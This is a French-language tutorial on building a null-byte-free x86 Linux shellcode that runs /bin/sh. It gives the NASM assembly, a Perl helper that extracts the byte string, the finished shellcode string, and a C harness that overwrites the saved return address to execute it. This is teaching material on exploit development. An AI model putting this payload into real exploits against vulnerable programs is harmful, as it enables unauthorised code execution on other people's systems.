Notre but est de créer un code binaire qui lance un shell. Soit un code équivalent au programme C suivant :
#include <stdlib.h>
#include <unistd.h>
int main (void)
{
char * arg[] = {"sh", NULL};
execve("/bin/sh", arg, NULL);
return 0;
}
Afin d'obtenir un code binaire compact nous allons nous plaçer le plus près possible de la machine. Nous allons donc réaliser notre shellcode en assembleur. L'assembleur que nous utiliserons sera NASM. L'équivalent en assembleur du programme C ci-dessus est le programme suivant :
[global main]
;
; Construction d'un shellcode cf :
; http://ouah.kernsh.org/faillesart2.html
;
main:
jmp short donnees
retour:
pop esi ; on récupère l'adresse de la chaîne '/bin/sh'
; sur la pile
xor edx, edx ; pas de variable d'environnement
mov [esi+8], esi ; cf http://ouah.kernsh.org/faillesart2.html
mov [esi+12], edx
mov al, 11 ; syscall = 11, la fonction appellée est donc execve
; cf http://www.lxhp.in-berlin.de/lhpsysc1.html
mov ebx, esi
lea ecx, [esi+8] ; ecx contient l'adresse d'un tableau avec les arguments cf. man execve
int 0x80 ; interruption
donnees:
call retour ; Comme pour chaque instruction call
db '/bin/sh',0 ; eip + 4, cad l'adresse de l'instruction suivante,
; est empilée pour pouvoir reprendre
; l'exécution à la prochaine instruction
; après appel de la procédure retour.
; Sur la pile on a donc l'adresse de la
; chaîne '/bin/sh'
;
Vérifions le bon fonctionnement du programme :
kototama:~/Exploits$ nasm -f aout shellcode.asm -oshellcode
kototama:~/Exploits$ chmod +x shellcode
kototama:~/Exploits$ ./shellcode
sh-2.05b$
Notre programme lance bien un shell, comme voulu.
Un shellcode est souvent destiné à être recopié dans un buffer vulnérable. Or les fonctions de copie, par exemple strcpy, s'arrêtent dès qu'elles rencontrent un caractère nul ('\0'). Afin que notre shellcode soit recopié entièrement dans un buffer vulnérable il faut donc qu'il ne contienne aucun caractère nul. Seul le dernier caractère du shellcode peut être nul, il se termine ainsi comme une chaîne normale.
Ainsi nous avons soigneusement choisi les instructions assembleur afin qu'elle ne produisent pas d'octets nuls une fois compilées. Par exemple l'instruction mov eax, 0 (B800000000 en binaire) produit beaucoup de zéro, tandis que l'instruction équivalent xor eax, eax (31C0) n'en produit aucun. L'option -l de NASM nous permet d'obtenir un listing qui contient le code assembleur et le code binaire correspondant. Cela nous permet de vérifier qu'il n'y a pas de zéro dans notre code.
Nous avons donc un code binaire exempt d'octet nul qui exécute un shell. Il nous reste à en faire une représentation en chaîne de caractères afin qu'il puisse être copié dans un buffer. Par exemple si nous avons l'instruction binaire 31C0, la chaîne équivalente sera "\xC0\x31". Ainsi si un programme copie notre shellcode dans un buffer b, alors b[0] vaudra 0xC0 et b[1] 0x31 (sur une architecture little-endian, les octets de poids forts étant en premiers dans la mémoire). Le buffer b contiendra donc du code potentiellement exécutable.
Le code Perl suivant parcourt un listing généré par NASM afin de créer la chaîne de caractère qui correspond à notre shellcode.
#! /usr/bin/env perl
if(@ARGV < 1) { die "Usage $0 <fichier.lst>\n
Crée un shellcode à partir d'un fichier lst généré par NASM.\n"; }
$file = shift;
open(FILE, $file) or die "Impossible d'ouvrir le fichier $ARGV[0] : $!\n";
$shellcode = "";
while(<FILE>) {
if(/ {4}\w+ (\w+) (\w+)./) {
$shellcode.=$2;
}
}
$shellcode =~ s/(\w{2})/\x$1/g;
$shellcode = lc($shellcode);
print "\"$shellcode\""."\n";
Exécutons le afin d'obtenir notre chaîne :
kototama:~/Exploits$ ./createShellCode.pl shellcode.lst
"\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00"
kototama:~/Exploits$
Pour terminer notre article nous allons réaliser un petit programme C qui exécute notre shellcode :
/* ici le shellcode que l'on a créé */
char sc[]="\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00";
main (void)
{
int * ret;
/*
cf :
http://ouah.kernsh.org/faillesart2.html
*/
* ((int *) &ret + 2) = (int) sc;
return (0);
}
Lors de l'appel à la fonction main du programme la valeur du registre eip (extended instruction pointer) est sauvegardée sur la pile. Eip contient l'adresse de la prochaine instruction à exécuter. Ainsi au retour de la fonction main, le système connaitra la prochaine instruction à exécuter en récupérant son adresse sur la pile. Lors de l'entrée dans la fonction main le registre ebp (extended base pointer) est sauvegardé sur la pile. Puis de la place est allouée pour la variable ret. La pile se présente donc ainsi :
Vers les adresses hautes
______
eip
______
ebp
______
ret
______
Vers les adresses basses
(ret + 2) pointe donc sur eip. En remplaçant la valeur de eip par l'adresse de notre shellcode le programme reprendra son exécution à l'adresse du shellcode. Or à cette adresse ce sont des instructions binaires qui sont codées, elles seront donc exécutées. Nous obtiendrons un shell.
kototama:~/Exploits$ gcc shell.c -oshell
kototama:~/Exploits$ ./shell
sh-2.05b$